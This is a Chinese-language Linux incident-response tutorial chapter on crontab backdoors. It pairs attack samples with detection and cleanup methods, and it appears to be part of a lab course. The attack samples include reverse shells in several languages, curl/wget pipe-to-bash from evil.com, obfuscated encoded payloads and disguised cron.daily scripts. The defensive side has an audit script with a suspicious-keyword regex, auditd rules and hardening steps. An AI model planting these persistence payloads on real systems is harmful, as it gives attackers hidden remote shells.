Linux应急响应 - 15 Crontab后门

Crontab 后门

id:: crontab-backdoor-15

概述

Crontab 是 Linux 系统中最经典的持久化手段之一,攻击者利用计划任务实现定时反弹 Shell、下载执行恶意载荷、维持访问权限

由于 crontab 是合法的系统功能,且条目分散在多个位置,检测难度较高

本节聚焦 攻击视角 下的各种 crontab 后门变体和对应的检测方法

关于 crontab 体系结构和常规审计方法,参见 07-计划任务审计

1. Crontab 体系快速回顾

Crontab 文件位置全景

位置 说明 权限要求
/var/spool/cron/crontabs/<user> (Debian) 用户级 crontab 对应用户
/var/spool/cron/<user> (RHEL/CentOS) 用户级 crontab 对应用户
/etc/crontab 系统级 crontab(含用户字段) root
/etc/cron.d/ 系统级 drop-in 目录 root
/etc/cron.daily/ 每日执行脚本 root
/etc/cron.hourly/ 每小时执行脚本 root
/etc/cron.weekly/ 每周执行脚本 root
/etc/cron.monthly/ 每月执行脚本 root

Crontab 时间格式

1
2
3
4
5
6
7
┌───────────── 分 (0-59)
│ ┌───────────── 时 (0-23)
│ │ ┌───────────── 日 (1-31)
│ │ │ ┌───────────── 月 (1-12)
│ │ │ │ ┌───────────── 星期 (0-7, 07都是周日)
│ │ │ │ │
* * * * * command

特殊时间标记

@reboot — 系统启动时执行一次

@hourly — 等价于 0 * * * *

@daily / @midnight — 等价于 0 0 * * *

@weekly — 等价于 0 0 * * 0

@monthly — 等价于 0 0 1 * *

2. 后门变体详解

2.1 直接反弹 Shell

最基础的形式,攻击者直接在 crontab 中写入 bash 反弹 shell 命令

真实样本

1
2
3
4
5
6
7
8
# 每5分钟反弹一次 shell
*/5 * * * * bash -i >& /dev/tcp/10.0.0.1/4444 0>&1

# 变体:使用 sh 而非 bash(某些系统 sh 不支持 /dev/tcp)
*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'

# 使用 nohup 保证连接不断
*/5 * * * * nohup bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 &

特征分析

关键字:/dev/tcp>&0>&1

优点(攻击者视角):简单直接

缺点(攻击者视角):特征明显,容易被检测

2.2 Base64 编码混淆

使用 Base64 编码隐藏真实命令,绕过简单的关键字检测

真实样本

1
2
3
4
5
6
7
8
9
# 原始命令:bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
# Base64 编码后:
*/5 * * * * echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE=" | base64 -d | bash

# 多层编码
*/5 * * * * echo "ZWNobyAiWW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHdMakF1TVM4ME5EUTBJREErSmpFPSIgfCBiYXNlNjQgLWQgfCBiYXNo" | base64 -d | bash

# 使用 python 解码
*/5 * * * * python3 -c "import base64;exec(base64.b64decode('aW1wb3J0IG9zO29zLnN5c3RlbSgiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjEiKQ=='))"

生成 Base64 payload

1
2
3
# 攻击者生成 payload 的方式
echo -n 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1' | base64
# 输出: YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE=

检测要点

关键字:base64-d(decode 参数)

对所有 base64 编码内容进行解码后再检测

2.3 curl/wget 远程下载执行

从远程服务器下载恶意脚本并执行,payload 不落盘或仅临时存在

真实样本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# curl 管道执行(payload 不落盘)
*/10 * * * * curl -fsSL http://evil.com/payload.sh | bash

# wget 管道执行
*/10 * * * * wget -q -O- http://evil.com/payload.sh | bash

# 兼容写法(curl 和 wget 都尝试)
*/10 * * * * (curl -fsSL http://evil.com/p.sh || wget -q -O- http://evil.com/p.sh) | bash

# 下载到临时目录再执行
*/10 * * * * curl -o /tmp/.cache_update http://evil.com/p.sh && chmod +x /tmp/.cache_update && /tmp/.cache_update

# 使用 HTTPS 并隐藏证书错误
*/10 * * * * curl -fsSLk https://evil.com/p.sh | bash

特征分析

关键字:curl.*|.*bashwget.*|.*bashcurl -o

远程 URL 可能使用短链接、IP 地址、或合法域名子目录

高级变体

1
2
3
4
5
# 使用 DNS TXT 记录传递 payload
*/10 * * * * dig +short TXT evil.example.com | tr -d '"' | bash

# 使用 Python 下载执行
*/10 * * * * python3 -c "import urllib.request;exec(urllib.request.urlopen('http://evil.com/p').read())"

2.4 Python/Perl 反弹 Shell

利用系统自带的脚本语言建立反向连接

Python 反弹样本

1
2
3
4
5
# Python 反弹 shell
*/5 * * * * python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# 压缩为一行,使用分号分隔
*/5 * * * * python -c 'exec("aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjAuMC4xIiw0NDQ0KSk7b3MuZHVwMihzLmZpbGVubygpLDApO29zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0p".decode("base64"))'

Perl 反弹样本

1
2
3
4
5
# Perl 反弹 shell
*/5 * * * * perl -e 'use Socket;$i="10.0.0.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

# Perl 反弹(MsfVenom 风格)
*/5 * * * * perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

其他语言变体

1
2
3
4
5
6
7
8
9
# Ruby 反弹
*/5 * * * * ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

# PHP 反弹
*/5 * * * * php -r '$sock=fsockopen("10.0.0.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

# Netcat 反弹
*/5 * * * * nc -e /bin/sh 10.0.0.1 4444
*/5 * * * * rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f

2.5 多层嵌套混淆

通过多层编码、变量替换、字符串拼接等方式规避检测

样本

1
2
3
4
5
6
7
8
9
10
11
# 变量拼接隐藏关键字
*/5 * * * * a='bas'; b='h -i >'; c='& /de'; d='v/tc'; e='p/10.0.0.1/4444 0>&1'; ${a}${b}${c}${d}${e}

# 使用 $() 和 eval
*/5 * * * * eval $(echo "6261736820 2d69203e26202f6465762f7463702f31302e302e302e312f3434343420303e2631" | xxd -r -p)

# 使用 printf 和 octal
*/5 * * * * $(printf '\142\141\163\150\040\055\151\040\076\046\040\057\144\145\166\057\164\143\160\057\061\060\056\060\056\060\056\061\057\064\064\064\064\040\060\076\046\061')

# 使用环境变量存储 payload
*/5 * * * * export A=$(echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE= | base64 -d); bash -c "$A"

检测要点

关键字:evalxxdprintf.*\\1base64

对 crontab 条目中出现的任何编码/解码操作都应解码后分析

2.6 利用合法脚本名伪装

将恶意脚本伪装为系统维护脚本,放置在 cron.daily 等目录中

样本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 在 /etc/cron.daily/ 中创建伪装脚本
cat > /etc/cron.daily/logrotate-helper << 'SCRIPT'
#!/bin/bash
# System log rotation helper
# Performs additional log cleanup tasks

/usr/bin/find /var/log -name "*.gz" -mtime +30 -delete 2>/dev/null

# 隐藏在正常逻辑之间的恶意代码
(bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 &) 2>/dev/null

/usr/bin/find /tmp -name "sess_*" -mtime +7 -delete 2>/dev/null
exit 0
SCRIPT
chmod +x /etc/cron.daily/logrotate-helper

常见伪装名称

logrotate-helpersysstat-collectapt-compatman-db-update

system-updatesecurity-checktmpfile-clean

检测要点

对比 /etc/cron.daily/ 等目录中的文件与包管理器安装记录

1
2
3
4
5
6
7
8
9
# Debian/Ubuntu: 检查哪些文件不属于任何包
for f in /etc/cron.daily/*; do
dpkg -S "$f" 2>/dev/null || echo "[可疑] 不属于任何包: $f"
done

# RHEL/CentOS: 同理
for f in /etc/cron.daily/*; do
rpm -qf "$f" 2>/dev/null || echo "[可疑] 不属于任何包: $f"
done

3. 隐蔽技巧详解

3.1 在正常条目间插入

攻击者不会清空现有 crontab,而是在已有合法条目之间插入恶意行

1
2
3
4
5
# 正常的 crontab 内容,攻击者在中间插入一行
0 2 * * * /usr/bin/updatedb
*/5 * * * * curl -fsSL http://evil.com/p.sh | bash
0 3 * * * /usr/sbin/logrotate /etc/logrotate.conf
30 4 * * * /usr/bin/apt-get update -q

快速浏览时容易被忽略,尤其当条目较多时

3.2 使用 @reboot 延迟触发

@reboot 只在系统重启时执行,平时不会被周期性检测发现

1
2
@reboot sleep 60 && curl -fsSL http://evil.com/p.sh | bash
@reboot nohup bash -c 'while true; do bash -i >& /dev/tcp/10.0.0.1/4444 0>&1; sleep 3600; done' &

加入 sleep 延迟执行,避免在系统启动时被注意到

3.3 输出重定向隐藏

使用 >/dev/null 2>&1 隐藏所有输出,避免 cron 发送邮件通知

1
2
3
4
5
*/5 * * * * bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 >/dev/null 2>&1

# 使用 MAILTO="" 禁用邮件
MAILTO=""
*/5 * * * * curl -fsSL http://evil.com/p.sh | bash

3.4 间接调用——恶意代码写入被调用脚本

crontab 本身看起来完全正常,恶意代码隐藏在被调用的脚本中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# crontab 中的条目看起来完全合法
*/30 * * * * /opt/monitoring/check_disk.sh

# 但 check_disk.sh 被注入了恶意代码
# /opt/monitoring/check_disk.sh 内容:
#!/bin/bash
# Disk space monitoring script
THRESHOLD=90
USAGE=$(df -h / | awk 'NR==2 {print $5}' | tr -d '%')
if [ "$USAGE" -gt "$THRESHOLD" ]; then
echo "Disk usage critical: ${USAGE}%" | mail -s "Alert" admin@company.com
fi

# 恶意代码追加在文件末尾(需要滚动才能看到)
(bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 &) 2>/dev/null

检测要点

不仅要检查 crontab 条目,还要检查 所有被 crontab 调用的脚本 的内容

对被调用脚本做 hash 校验,与基线对比

3.5 利用 cron.d 的 drop-in 机制

/etc/cron.d/ 目录中可以放置任意文件作为 crontab 配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 创建一个看起来像系统文件的后门
cat > /etc/cron.d/sysstat-update << 'EOF'
# System performance data collection
SHELL=/bin/bash
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
*/10 * * * * root /usr/lib/sysstat/.sa-update.sh
EOF

# 对应的恶意脚本
mkdir -p /usr/lib/sysstat/
cat > /usr/lib/sysstat/.sa-update.sh << 'SCRIPT'
#!/bin/bash
curl -fsSL http://evil.com/p.sh | bash
SCRIPT
chmod +x /usr/lib/sysstat/.sa-update.sh

4. 全面检测方法

4.1 遍历所有 Crontab 位置的检测脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#!/bin/bash
# crontab_audit.sh - Crontab 后门全面检测脚本

RED='\033[0;31m'
YELLOW='\033[1;33m'
GREEN='\033[0;32m'
NC='\033[0m'

echo "=========================================="
echo " Crontab 后门全面检测"
echo "=========================================="

# 可疑关键字列表
KEYWORDS='(/dev/tcp|/dev/udp|base64|curl.*\|.*bash|wget.*\|.*bash|curl.*\|.*sh|wget.*\|.*sh|nc\s+-e|ncat|mkfifo|python.*socket|python.*-c|perl.*-e|ruby.*-e|php.*-r|eval|exec\(|\.onion|pastebin|transfer\.sh)'

# 1. 检查所有用户的 crontab
echo -e "\n${YELLOW}[1] 检查所有用户的 crontab${NC}"
for user in $(cut -d: -f1 /etc/passwd); do
crontab_content=$(crontab -l -u "$user" 2>/dev/null)
if [ -n "$crontab_content" ]; then
echo -e "\n--- 用户: $user ---"
echo "$crontab_content"
# 检测可疑内容
echo "$crontab_content" | grep -iE "$KEYWORDS" && \
echo -e "${RED}[!] 发现可疑条目!${NC}"
fi
done

# 2. 检查 /var/spool/cron/ 目录
echo -e "\n${YELLOW}[2] 检查 crontab spool 目录${NC}"
for dir in /var/spool/cron/crontabs /var/spool/cron; do
if [ -d "$dir" ]; then
echo "目录: $dir"
ls -la "$dir"
for f in "$dir"/*; do
[ -f "$f" ] && grep -iE "$KEYWORDS" "$f" && \
echo -e "${RED}[!] $f 中发现可疑内容!${NC}"
done
fi
done

# 3. 检查系统级 crontab
echo -e "\n${YELLOW}[3] 检查系统级 crontab 文件${NC}"
for f in /etc/crontab /etc/cron.d/*; do
if [ -f "$f" ]; then
echo "--- $f ---"
grep -iE "$KEYWORDS" "$f" && \
echo -e "${RED}[!] $f 中发现可疑内容!${NC}"
# 检查文件是否属于包管理器
dpkg -S "$f" 2>/dev/null || rpm -qf "$f" 2>/dev/null || \
echo -e "${YELLOW}[?] $f 不属于任何已安装的包${NC}"
fi
done

# 4. 检查 cron.{daily,hourly,weekly,monthly}
echo -e "\n${YELLOW}[4] 检查周期性 cron 目录${NC}"
for dir in /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly; do
if [ -d "$dir" ]; then
echo "目录: $dir"
for f in "$dir"/*; do
[ -f "$f" ] || continue
echo " 文件: $f ($(stat -c '%Y' "$f" 2>/dev/null || stat -f '%m' "$f" 2>/dev/null))"
grep -iE "$KEYWORDS" "$f" && \
echo -e "${RED} [!] 发现可疑内容!${NC}"
dpkg -S "$f" 2>/dev/null || rpm -qf "$f" 2>/dev/null || \
echo -e "${YELLOW} [?] 不属于任何已安装的包${NC}"
done
fi
done

# 5. 检查所有 crontab 引用的脚本
echo -e "\n${YELLOW}[5] 检查 crontab 引用的脚本文件${NC}"
(crontab -l 2>/dev/null; cat /etc/crontab /etc/cron.d/* 2>/dev/null) | \
grep -v '^#' | grep -v '^$' | \
grep -oE '(/[a-zA-Z0-9_./-]+\.sh)' | sort -u | \
while read script; do
if [ -f "$script" ]; then
echo "--- 检查脚本: $script ---"
grep -iE "$KEYWORDS" "$script" && \
echo -e "${RED}[!] 脚本 $script 中发现可疑内容!${NC}"
fi
done

echo -e "\n${GREEN}[完成] Crontab 后门检测完毕${NC}"

4.2 关键字检测规则

关键字/模式 威胁等级 说明
/dev/tcp/dev/udp Bash 内置网络重定向,常用于反弹 shell
base64 -dbase64 --decode 解码隐藏的 payload
curl.*|.*bashwget.*|.*sh 远程下载并直接执行
nc -encat Netcat 反弹 shell
python.*-c.*socket Python 反弹 shell
perl -e.*socket Perl 反弹 shell
mkfifo 可能用于 named pipe 反弹 shell
eval 动态执行,可能隐藏恶意代码
xxdprintf.*\\ 十六进制/八进制编码混淆
nohup.*& 后台持久执行(需结合上下文判断)

4.3 文件修改时间检测

1
2
3
4
5
6
7
8
9
10
# 查找最近7天内修改过的 cron 相关文件
find /etc/cron* /var/spool/cron* -type f -mtime -7 -ls 2>/dev/null

# 查找比系统安装时间更新的 cron 文件
find /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ \
-type f -newer /etc/os-release -ls 2>/dev/null

# 检查 crontab 文件的时间线
stat /var/spool/cron/crontabs/* 2>/dev/null
stat /var/spool/cron/* 2>/dev/null

注意:攻击者可以用 touch -t 修改文件时间戳,因此时间检测不能作为唯一依据

4.4 Cron 日志分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 查看 cron 执行日志
# Debian/Ubuntu:
grep CRON /var/log/syslog | tail -50
grep CRON /var/log/syslog | grep -iE 'curl|wget|bash|python|perl|nc '

# RHEL/CentOS:
cat /var/log/cron | tail -50
cat /var/log/cron | grep -iE 'curl|wget|bash|python|perl|nc '

# systemd journal:
journalctl -u cron --since "7 days ago" --no-pager
journalctl -u crond --since "7 days ago" --no-pager

# 查看哪些用户编辑过 crontab
grep -i "crontab" /var/log/auth.log 2>/dev/null
grep -i "crontab" /var/log/secure 2>/dev/null

关注异常用户执行的非标准命令

4.5 使用 auditd 监控 Crontab 修改

1
2
3
4
5
6
7
8
9
# 添加 auditd 规则监控 crontab 文件修改
auditctl -w /var/spool/cron/ -p wa -k crontab_mod
auditctl -w /etc/crontab -p wa -k crontab_mod
auditctl -w /etc/cron.d/ -p wa -k crontab_mod
auditctl -w /etc/cron.daily/ -p wa -k crontab_mod
auditctl -w /etc/cron.hourly/ -p wa -k crontab_mod

# 查看审计日志
ausearch -k crontab_mod -ts recent

5. 清除与加固

5.1 清除步骤

Step 1: 备份当前 crontab 用于取证

1
2
crontab -l -u <user> > /tmp/evidence/crontab_<user>_backup
cp -a /etc/cron* /tmp/evidence/

Step 2: 删除恶意条目

1
2
3
4
5
6
7
8
9
10
# 编辑用户 crontab
crontab -e -u <user>
# 或直接删除整个用户 crontab
crontab -r -u <user>

# 删除 cron.d 中的恶意文件
rm /etc/cron.d/<malicious_file>

# 删除 cron.daily 等中的恶意脚本
rm /etc/cron.daily/<malicious_script>

Step 3: 删除恶意脚本引用的文件

1
2
3
# 根据 crontab 条目中的路径清理
rm /path/to/malicious/script.sh
rm /tmp/.cache_update # 示例

Step 4: 重启 cron 服务

1
2
systemctl restart cron    # Debian/Ubuntu
systemctl restart crond # RHEL/CentOS

5.2 加固措施

使用 /etc/cron.allow/etc/cron.deny 限制 crontab 使用

1
2
3
# 只允许 root 使用 crontab
echo root > /etc/cron.allow
chmod 600 /etc/cron.allow

对 cron 目录设置 auditd 监控规则(见 4.5)

定期对 cron 相关文件做 hash 校验

1
2
3
4
5
# 生成基线
find /etc/cron* -type f -exec md5sum {} \; > /root/.cron_baseline

# 定期对比
find /etc/cron* -type f -exec md5sum {} \; | diff /root/.cron_baseline -

使用 AIDE 或 OSSEC 等 HIDS 监控 cron 目录变更

6. 配套实验

实验环境

目录:labs/10-persistence-crontab/

靶机:Ubuntu 22.04 / CentOS 7

实验内容

实验 1:在靶机上植入 6 种不同变体的 crontab 后门,然后使用检测脚本逐一发现

实验 2:在 /etc/cron.daily/ 中植入伪装脚本,练习使用包管理器对比法检测

实验 3:间接调用后门——在 crontab 引用的正常脚本末尾追加恶意代码,练习深度审计

实验 4:使用 auditd 监控 crontab 修改,观察攻击者行为

实验 5:清除所有后门并实施加固措施

参考链接

07-计划任务审计 — Crontab 体系结构和常规审计方法

16-SSH-authorized_keys后门 — SSH 相关后门

17-Systemd-Service后门 — Systemd 持久化后门

18-Bashrc与Profile后门 — Shell 启动脚本后门


上一章 目录 下一章
14.7-供应链攻击检测 Linux应急响应 16-SSH-authorized_keys后门